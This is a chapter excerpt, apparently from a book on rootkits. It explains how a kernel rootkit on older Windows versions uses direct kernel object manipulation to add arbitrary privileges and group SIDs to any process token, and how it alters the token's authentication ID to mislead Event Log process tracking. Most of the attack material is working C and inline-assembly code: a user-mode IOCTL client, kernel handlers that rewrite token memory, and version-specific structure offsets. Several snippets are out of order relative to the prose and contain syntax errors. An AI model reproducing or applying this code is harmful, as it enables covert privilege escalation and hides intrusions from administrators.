Token Privilege and Group Elevation with DKOM
A process's token is all-important when it comes to determining what the process is allowed and not allowed to do. A process's token is derived from the log-on session of the user that spawned the process. Every thread within a process can have its own token; however, most threads use their default process token.One important goal of a rootkit writer is to gain elevated access. This section covers gaining elevated privilege for a normal process once your rootkit has already been installed. This is useful because you want to exploit only once, install your rootkit, and then return under more-normal circumstances so that your original vector of entry is not discovered.The code in this section will deal only with a process's token; however, it could easily be applied to a thread's token. The only difference is how you would locate the token in question. All the rest of the techniques and code remain the same.
Modifying a Process Token
To modify a process token, the Win32 API provides several functions, including OpenProcessToken(), AdjustTokenPrivileges(), and AdjustTokenGroups(). All of these functions, and the others that modify process tokens, require certain privileges, such as TOKEN_ADJUST_GROUPS and TOKEN_ADJUST_PRIVILEGES. This section covers a way to add privileges and groups to a process's token without any special privileged access to the process's token. Once your rootkit is installed, DKOM is the only "privilege" you need to understand.
Finding the Process Token
Using the FindProcessEPROC function from the Process Hiding subsection earlier in this chapter to find the address of the EPROCESS structure of the process whose token your rootkit will modify, add the token offset to it. The result will be the location within the EPROCESS containing the address of the token. Use the information in Table 7-2 as a guide.
Windows NT | Windows 2000 | Windows XP | Windows XP SP 2 | Windows 2003 | |
---|---|---|---|---|---|
Token Offset | 0x108 | 0x12c | 0xc8 | 0xc8 | 0xc8 |
To find the process token, use the following FindProcessToken function:
typedef struct _EX_FAST_REF {
union {
PVOID Object;
ULONG RefCnt : 3;
ULONG Value;
};
} EX_FAST_REF, *PEX_FAST_REF;
You will notice that within the inline assembly we drop the last 3 bits of the token address with the instruction and eax, fffffff8. As it turns out, token addresses always end with the last three bits equal to zero; therefore, although the member that represents the token address has changed, we still can recover the address of the token and it will not hurt anything if we change the last three bits on older versions of the OS.
DWORD FindProcessToken (DWORD eproc)
{
DWORD token;
__asm {
mov eax, eproc;
add eax, TOKENOFFSET; // offset of token pointer in EPROCESS
mov eax, [eax];
and eax, 0xfffffff8; // See definition of _EX_FAST_REF.
mov token, eax;
}
return token;
}
Modifying the Process Token
Tokens are very difficult to modify. They are composed of static and variable parts. The static portion does not change in size (hence its name). It has a well-defined structure. The variable part is much less predictable. It contains all the privileges and SIDs belonging to the token. The exact number of these varies depending on the credentials of the user who created the process (or whom the process is impersonating).While reading the following code, it will help if you keep in mind the structure of a token, as illustrated in Figure 7-4.
Figure 7-4. Memory structure of a process token.
[View full size image]

Windows NT 4.0 | Windows 2000 | Windows XP | Windows XP SP 2 | Windows 2003 | |
---|---|---|---|---|---|
AUTH_ID Offset | 0x18 | 0x18 | 0x18 | 0x18 | 0x18 |
SID Count Offset | 0x30 | 0x3c | 0x40 | 0x4c | 0x4c |
SID Address Offset | 0x48 | 0x58 | 0x5c | 0x68 | 0x68 |
Privilege Count Offset | 0x34 | 0x44 | 0x48 | 0x54 | 0x54 |
Privilege Address Offset | 0x50 | 0x64 | 0x68 | 0x74 | 0x74 |
Adding Privileges to a Process Token
To add a new privilege or enable a currently disabled privilege in a process token, we can use a user-level program to send IOCTLs to our rootkit. A userland portion is very useful for this application because many of the Win32 APIs that deal with tokens, privileges, and SIDs are not documented in the kernel.The rootkit in the kernel will take the privilege information received from the user-mode program and write it directly to memory. In this case, the memory that is changed is the privilege portion of the targeted process token. Remember that because we are not going through the Windows Object Manager when we write directly to memory, we can assign a process token whatever privileges and groups we want.Before we can tell the rootkit what privileges to add or enable in a given process, we must know a little about token privileges. Following are some privileges listed in ntddk.h. (Not all of these apply to processes.)SeCreateTokenPrivilegeSeAssignPrimaryTokenPrivilegeSeLockMemoryPrivilegeSeIncreaseQuotaPrivilegeSeUnsolicitedInputPrivilegeSeMachineAccountPrivilegeSeTcbPrivilegeSeSecurityPrivilegeSeTakeOwnershipPrivilegeSeLoadDriverPrivilegeSeSystemProfilePrivilegeSeSystemtimePrivilegeSeProfileSingleProcessPrivilegeSeIncreaseBasePriorityPrivilegeSeCreatePagefilePrivilegeSeCreatePermanentPrivilegeSeBackupPrivilegeSeRestorePrivilegeSeShutdownPrivilegeSeDebugPrivilegeSeAuditPrivilegeSeSystemEnvironmentPrivilegeSeChangeNotifyPrivilegeSeRemoteShutdownPrivilegeSeUndockPrivilegeSeSyncAgentPrivilegeSeEnableDelegationPrivilege
You can use Process Explorer from Sysinternals[1] to view the current privileges of a process. Notice in Figure 7-5 that many privileges come disabled by default.[1] Process Explorer may be found at: www.sysinternals.com/ntw2k/freeware/procexp.shtml
Figure 7-5. Security settings contained in a process's token.

In the preceding code, we check whether each new privilege name begins with "Se," which is true for every valid privilege. Next, we copy the valid new privileges into an array and call the SetPriv function, which will eventually communicate with the rootkit driver using an IOCTL.SetPriv() allocates and initializes an array of LUID_AND_ATTRIBUTES. Every privilege named in the list shown earlier in this subsection has a corresponding LUID (Locally Unique Identifier). Because these LUIDs are locally unique, we cannot hard-code them into our rootkit. LookupPrivilegeValue() takes the name of the system in which to look up the privilege value, which in our case is NULL; the name of the privilege passed to the user program from the command line; and a pointer for receiving the LUID value. Note that according to the Microsoft SDK, "An LUID is a 64-bit value guaranteed to be unique only on the system on which it was generated," but it is not guaranteed to remain constant between reboots.The attributes define whether a privilege associated with a given LUID is enabled or disabled. The mere fact that a privilege is present in a token does not mean the process has that privilege. A privilege may be in one of three states, as specified by its attribute:#define SE_PRIVILEGE_DISABLED (0x00000000L)#define SE_PRIVILEGE_ENABLED_BY_DEFAULT (0x00000001L)#define SE_PRIVILEGE_ENABLED (0x00000002L)
void main(int argc, char **argv)
{
int i = 25;
if (argc > 1)
{
if (InitDriver() == -1)
return;
if (strcmp((char *)argv[1], "-prl") == 0)
ListPriv();
else if (strcmp((char *)argv[1], "-prs") == 0)
{
char *priv_array = NULL;
DWORD pid = 0;
if (argc > 2)
pid = atoi(argv[2]);
priv_array = (char *)calloc(argc-3, 32);
if (priv_array == NULL)
{
fprintf(stderr, "Failed to allocate memory!\n");
return;
}
int size = 0;
for(int i = 3; i < argc; i++)
{
if(strncmp(argv[i], "Se", 2) == 0)
{
strncpy((char *)priv_array + ((i-3)*32), argv[i], 31);
size++;
}
}
SetPriv(pid, priv_array, size*32);
if(priv_array)
free(priv_array);
}
...
SetPriv() creates an array of LUID_AND_ATTRIBUTES to pass to the driver. Here is an example of the LUID_AND_ATTRIBUTES structure:
Setting the LUID member to the value returned by LookupPrivilegeValue and setting the Attribute to SE_PRIVILEGE_ENABLED_BY_DEFAULT initializes the array appropriately, making it ready to be passed to the rootkit. We do so using the DeviceIoControl function with the IOCTL_ROOTKIT_SETPRIV parameter:
typedef struct _LUID_AND_ATTRIBUTES {
LUID Luid;
DWORD Attributes;
} LUID_AND_ATTRIBUTES, *PLUID_AND_ATTRIBUTES;
The kernel code contains the handler for the IOCTL_ROOTKIT_SETPRIV IOCTL. It receives the array of LUID_AND_ATTRIBUTES and the PID of the process to which they are to be added. It calls FindProcessEPROC to locate the EPROCESS structure with the corresponding PID, and FindProcessToken to locate the address of the process token.Now that we have the token, we need to get the size of the current LUID_AND_ATTRIBUTES array contained in the token. We do this by reading the value contained at the privilege-count offset. This value will be very important soon (see the for loops in the upcoming code).Next, we get the address of the start of the LUID_AND_ATTRIBUTES array. Remember that a token is composed of a fixed-length part and a variable-length part. The beginning of the LUID_AND_ATTRIBUTES array is the beginning of the variable-length part of the token. Both parts are contiguous in memory.With the address of the LUID_AND_ATTRIBUTES array in the token, the privilege count, and the new LUID_AND_ATTRIBUTES to add, we can continue to look at the following rootkit code. We cannot allocate new memory for our new privileges, and we cannot grow the token (since the memory location following the token may not be valid).Recall that, as shown in the output from Process Explorer in Figure 7-5, most of the privileges present in a typical token are disabled. Why do we need to keep disabled privileges around?The idea is to turn a privilege on if it matches one of the LUID_AND_ATTRIBUTES passed down to the rootkit, or to overwrite a disabled privilege with a requested one if the existing privilege is not a member of the new LUID_AND_ATTRIBUTES array. To do this, we have created two sets of nested for loops. The first for loop examines every privilege that was passed to the rootkit, and if it matches a privilege already contained in the token, it sets the attribute to enabled. The second for loop is used if the privilege is not found in the token but there are other disabled privileges that we can overwrite. Using this algorithm, you can add privileges to the token without using more memory.
DWORD SetPriv(DWORD pid, void *priv_luids, int priv_size)
{
DWORD d_bytesRead;
DWORD success;
PLUID_AND_ATTRIBUTES pluid_array;
LUID pluid;
VARS dvars;
if (!Initialized)
return ERROR_NOT_READY;
if (priv_luids == NULL)
return ERROR_INVALID_ADDRESS;
pluid_array = (PLUID_AND_ATTRIBUTES) calloc(priv_size/32,
sizeof(LUID_AND_ATTRIBUTES));
if (pluid_array == NULL)
return ERROR_NOT_ENOUGH_MEMORY;
DWORD real_luid = 0;
for (int i = 0; i < priv_size/32; i++)
{
if(LookupPrivilegeValue(NULL, (char *)priv_luids + (i*32),
&pluid))
{
memcpy(pluid_array+i, &pluid, sizeof(LUID));
*(pluid_array+i)).Attributes = SE_PRIVILEGE_ENABLED_BY_DEFAULT;
real_luid++;
}
}
dvars.the_pid = pid;
dvars.pluida = pluid_array;
dvars.num_luids = real_luid;
success = DeviceIoControl(gh_Device,
IOCTL_ROOTKIT_SETPRIV,
(void *) &dvars,
sizeof(dvars),
NULL,
0,
&d_bytesRead,
NULL);
if(pluid_array)
free(pluid_array);
return success;
}
// If the new privilege already exists in the token, just change its
// Attribute field.
for (luid_attr_count = 0; luid_attr_count < d_PrivCount;
luid_attr_count++)
{
for (d_LuidsUsed = 0; d_LuidsUsed < nluids; d_LuidsUsed++)
{
if((luids_attr[d_LuidsUsed].Attributes != 0xffffffff) &&
(memcmp(&luids_attr_orig[luid_attr_count].Luid,
&luids_attr[d_LuidsUsed].Luid, sizeof(LUID)) == 0))
{
(PLUID_AND_ATTRIBUTES)luids_attr_orig)[luid_attr_count].Attributes =
((PLUID_AND_ATTRIBUTES)luids_attr)[d_LuidsUsed].Attributes;
((PLUID_AND_ATTRIBUTES)luids_attr)[d_LuidsUsed].Attributes = 0xffffffff;
}
}
}
// Okay, we did not find one of the new Privileges in the set of existing
// privileges, so we find other disabled privileges and
// overwrite them.
for (d_LuidsUsed = 0; d_LuidsUsed < nluids; d_LuidsUsed++)
{
if (((PLUID_AND_ATTRIBUTES)luids_attr)[d_LuidsUsed].Attributes !=
0xffffffff)
{
for (luid_attr_count = 0; luid_attr_count < d_PrivCount;
luid_attr_count++)
{
// If the privilege was disabled anyway, it was not needed,
// so we reuse its space for new privileges we want
// to add. We may not be able to add all the privileges we request
// because of space limitations, so we should organize the new
// privileges in decreasing order of importance.
if((luids_attr[d_LuidsUsed].Attributes != 0xffffffff) &&
(((PLUID_AND_ATTRIBUTES)luids_attr_orig)[luid_attr_count].
Attributes == 0x00000000))
{
((PLUID_AND_ATTRIBUTES)luids_attr_orig)[luid_attr_count].Luid =
((PLUID_AND_ATTRIBUTES)luids_attr)[d_LuidsUsed].Luid;
((PLUID_AND_ATTRIBUTES)luids_attr_orig)[luid_attr_count].Attributes =
((PLUID_AND_ATTRIBUTES)luids_attr)[d_LuidsUsed].Attributes;
((PLUID_AND_ATTRIBUTES)luids_attr)[d_LuidsUsed].Attributes =
0xffffffff;
}
}
}
}
break;
Adding SIDs to a Process Token
Adding SIDs to a token is the most difficult modification we can make. Because of the space limitations mentioned in the preceding subsections, you will need to follow the basic algorithm of using the disabled privileges already present in a process token as placeholders for the new SIDs.The process token contains more information about a SID than just the SID itself. For example, there is a table of SID_AND_ATTRIBUTES structures, much like the table relating to privileges. The first member of that structure is simply a pointer to the SID in memory. To add a SID to a token, you will need to add one more entry to the SID_AND_ATTRIBUTE table, add the SID itself, and recalculate all the pointers in the table to compensate for the changes you have made in memory.Here is the SID_AND_ATTRIBUTE structure:
In order to keep things clear, it is best to start with a clean space of memory the same size as the variable portion of the token. You can allocate this space in the paged pool for now. When you are finished, you will copy it back over the existing variable portion of the token and free the scratch space. You will also need the counts of privileges and SIDs, the locations of SID and privilege tables, and the beginning and size of the variable part of the token.Given the address of the token, the following code initializes these required variables and allocates the scratch space:
typedef struct _SID_AND_ATTRIBUTES {
PSID Sid;
DWORD Attributes;
} SID_AND_ATTRIBUTES, *PSID_AND_ATTRIBUTES;
Next, the rootkit frees up memory in the token by copying only the enabled privileges to the temporary workspace, varpart. If you keep a count of the privileges copied over, you will know exactly how much space was freed up.The situation could arise in which the amount of room freed in the token is not enough to hold the new SID and its SID_AND_ATTRIBUTES structure. In such a case, you have a few choices. Your rootkit could simply return an error stating that there are insufficient resources in the token to add a SID. The following code does this.Alternatively, you could overwrite some of the enabled privileges with the new SID. This could have adverse effects, however. If you overwrite a privilege in the token that is needed by a process, the process may no longer function properly.Also, since Windows 2000 it has been possible for restricted SIDs to exist at the end of the variable portion of a token. The function of these is to explicitly restrict certain users or groups from being able to take certain actions. Although they are rarely if ever used, it is possible for restricted SIDs to be present. Like a disabled privilege, a restricted SID is not of much value to your process token, so you can modify the algorithm to also reclaim space used by restricted SIDs.
i_PrivCount = *(int *)(token + PRIVCOUNTOFFSET);
i_SidCount = *(int *)(token + SIDCOUNTOFFSET);
luids_attr_orig = *(PLUID_AND_ATTRIBUTES *)(token + PRIVADDROFFSET);
varbegin = (PVOID) luids_attr_orig;
i_VariableLen = *(int *)(token + PRIVCOUNTOFFSET + 4);
sid_ptr_old = *(PSID_AND_ATTRIBUTES *)(token + SIDADDROFFSET);
// This will be our temporary workspace.
varpart = ExAllocatePool(PagedPool, i_VariableLen);
if (varpart == NULL)
{
IoStatus->Status = STATUS_INSUFFICIENT_RESOURCES;
break;
}
RtlZeroMemory(varpart, i_VariableLen);
The following code copies all the existing SID_AND_ATTRIBUTES structures into the temporary workspace. The for loop walks through the table, making the proper adjustments to the pointers to the SIDs.
// Copy only the enabled privileges. We will overwrite the
// disabled privileges to make room for the new SID.
for(luid_attr_count=0;luid_attr_count<i_PrivCount; luid_attr_count++)
{
if(((PLUID_AND_ATTRIBUTES)varbegin)[luid_attr_count].Attributes
!= SE_PRIVILEGE_DISABLED)
{
((PLUID_AND_ATTRIBUTES)varpart)[i_LuidsUsed].Luid =
((PLUID_AND_ATTRIBUTES)varbegin)[luid_attr_count].Luid;
((PLUID_AND_ATTRIBUTES)varpart)[i_LuidsUsed].Attributes =
((PLUID_AND_ATTRIBUTES)varbegin)[luid_attr_count].Attributes;
i_LuidsUsed++;
}
}
// Calculate the space we need within the existing token.
i_spaceNeeded = i_SidSize + sizeof(SID_AND_ATTRIBUTES);
i_spaceSaved = (i_PrivCount - i_LuidsUsed)* sizeof(LUID_AND_ATTRIBUTES);
i_spaceUsed = i_LuidsUsed * sizeof(LUID_AND_ATTRIBUTES);
// There is not enough room for the new SID. Note: We are ignoring
// any restricted SIDs. They may also be a portion of the
// variable-length part.
if (i_spaceSaved < i_spaceNeeded)
{
ExFreePool(varpart);
IoStatus->Status = STATUS_INSUFFICIENT_RESOURCES;
break;
}
You still need to set up the new SID_AND_ATTRIBUTES entry properly. Set its Attribute field to 0x00000007 to make the new SID mandatory. Since you are adding the new SID at the end of the existing SIDs, you must calculate the length of the final SID. Do this by taking the address of the start of the final SID, found in the last SID_AND_ATTRIBUTES entry, and subtract it from the total length of the variable portion of the token. (We ignore the potential presence of restricted SIDs in this token.) With the length of the final SID before the modification, you can calculate the value of the pointer to the new SID:
RtlCopyMemory((PVOID)((DWORD)varpart+i_spaceUsed),
(PVOID)((DWORD)varbegin + (i_PrivCount *
sizeof(LUID_AND_ATTRIBUTES))), i_SidCount *
sizeof(SID_AND_ATTRIBUTES));
for (sid_count = 0; sid_count < i_SidCount; sid_count++)
{
((PSID_AND_ATTRIBUTES)((DWORD)varpart+(i_spaceUsed)))[sid_count].Sid =
(PSID)(((DWORD) sid_ptr_old[sid_count].Sid) - ((DWORD) i_spaceSaved) +
((DWORD)sizeof(SID_AND_ATTRIBUTES)));
((PSID_AND_ATTRIBUTES)((DWORD)varpart+(i_spaceUsed)))[sid_count]
.Attributes = sid_ptr_old[sid_count].Attributes;
}
You are almost finished. Copy the scratch space, varpart, into the existing token. Now your rootkit has added all the enabled privileges and all the SID_AND_ATTRIBUTES entries. Just copy the new SID into place at the end of the previously existing SIDs:
// Set up the new SID_AND_ATTRIBUTES properly.
SizeOfLastSid = (DWORD)varbegin + i_VariableLen;
SizeOfLastSid = SizeOfLastSid - (DWORD)
((PSID_AND_ATTRIBUTES)sid_ptr_old)[i_SidCount-1].Sid;
((PSID_AND_ATTRIBUTES)((DWORD)varpart+(i_spaceUsed)))[i_SidCount].Sid =
(PSID)((DWORD)((PSID_AND_ATTRIBUTES)
((DWORD)varpart+(i_spaceUsed)))[i_SidCount-1].Sid
+ SizeOfLastSid);
((PSID_AND_ATTRIBUTES)((DWORD)varpart+(i_spaceUsed)))[i_SidCount].Attributes =
0x00000007;
The only steps remaining are to fix the counts and pointers in the static portion of the token, and to free the memory corresponding to the scratch space. Since you changed the number of SIDs and privileges in the token, you need to modify their offsets. The location of the LUID_AND_ATTRIBUTE table does not change because it is at the beginning of the variable part, but the pointer to the SID_AND_ATTRIBUTE table needs to be updated since you moved it in memory:
// Copy the old SIDs, but make room for the new.
// SID_AND_ATTRIBUTES
SizeOfOldSids = (DWORD)varbegin + i_VariableLen;
SizeOfOldSids = SizeOfOldSids - (DWORD)
((PSID_AND_ATTRIBUTES)sid_ptr_old)[0].Sid;
RtlCopyMemory((VOID UNALIGNED *)((DWORD)varpart +
(i_spaceUsed)+((i_SidCount+1)*
sizeof(SID_AND_ATTRIBUTES))),
(CONST VOID UNALIGNED*)
((DWORD)varbegin+(i_PrivCount *
sizeof(LUID_AND_ATTRIBUTES))+(i_SidCount*
sizeof(SID_AND_ATTRIBUTES))), SizeOfOldSids);
// Copy the new stuff right over the old data.
RtlZeroMemory(varbegin, i_VariableLen);
RtlCopyMemory(varbegin, varpart, i_VariableLen);
// Copy the new SID at the end of the old SIDs.
RtlCopyMemory(((PSID_AND_ATTRIBUTES)((DWORD)varbegin +
(i_spaceUsed)))[i_SidCount].Sid, psid, i_SidSize);
Now your rootkit has the power to add any privilege and any group SID to any process on the system. But adding SIDs has an interesting consequence when it comes to forensics. We discuss this ramification in the next section.
// Fix the token back up.
*(int *)(token + SIDCOUNTOFFSET) += 1;
*(int *)(token + PRIVCOUNTOFFSET) = i_LuidsUsed;
*(PSID_AND_ATTRIBUTES *)(token + SIDADDROFFSET) =
(PSID_AND_ATTRIBUTES)((DWORD) varbegin + (i_spaceUsed));
ExFreePool(varpart);
break;
Faking out the Windows Event Viewer
Although you now know how to hide processes and gain elevated access, you do not know who is watching while you do these things. There are many different ways administrators can detect process creation. In the kernel, security software can even register a call-back function in the event of process creation. (Even this is subvertible, but we will not go into detail on that in this book.)There is an easier way a savvy system administrator can determine what is happening on the machine. She can turn on detailed process logging. If this is done, the creation of new processes will be noted in the Windows Event Log. The log will include the name of the process being created, the parent PID, and the username that owns the parent process, and hence created the new process. In this section, we present a modification to the token to make this identification in the Event Log more difficult to detect.At offset 0x18 within the process token is an LUID called the Authentication ID or AUTH_ID. (This offset does not change across versions of the OS.) Although LUIDs are supposed to be unique, some are hard-coded in the DDK in an .h file. They are:#define SYSTEM_LUID 0x000003e7; // { 0x3e7, 0x0 }#define ANONYMOUS_LOGON_LUID 0x000003e6; // { 0x3e6,0x0 }#define LOCALSERVICE_LUID 0x000003e5; // { 0x3e5, 0x0 }#define NETWORKSERVICE_LUID 0x000003e4; // { 0x3e4, 0x0 }
We can change the AUTH_ID in any process we choose to one of these well-known LUIDs. The AUTH_ID is unique for each log-on or session. The system uses them at times to associate a number with an individual log-on session, which has an account name.WARNING:Be careful when you modify the AUTH_ID of a process token. If you change it to an LUID that does not have a corresponding log-on session, the Windows box will present a Blue Screen of Death!If detailed process tracking is enabled, for every process created an event will be recorded in the Event Log that looks something like that shown in Figure 7-6.
Figure 7-6. Process-creation event in the Event Viewer.
[View full size image]

Figure 7-7. Process creation event after modifying the AUTH_ID and owner SID.
[View full size image]
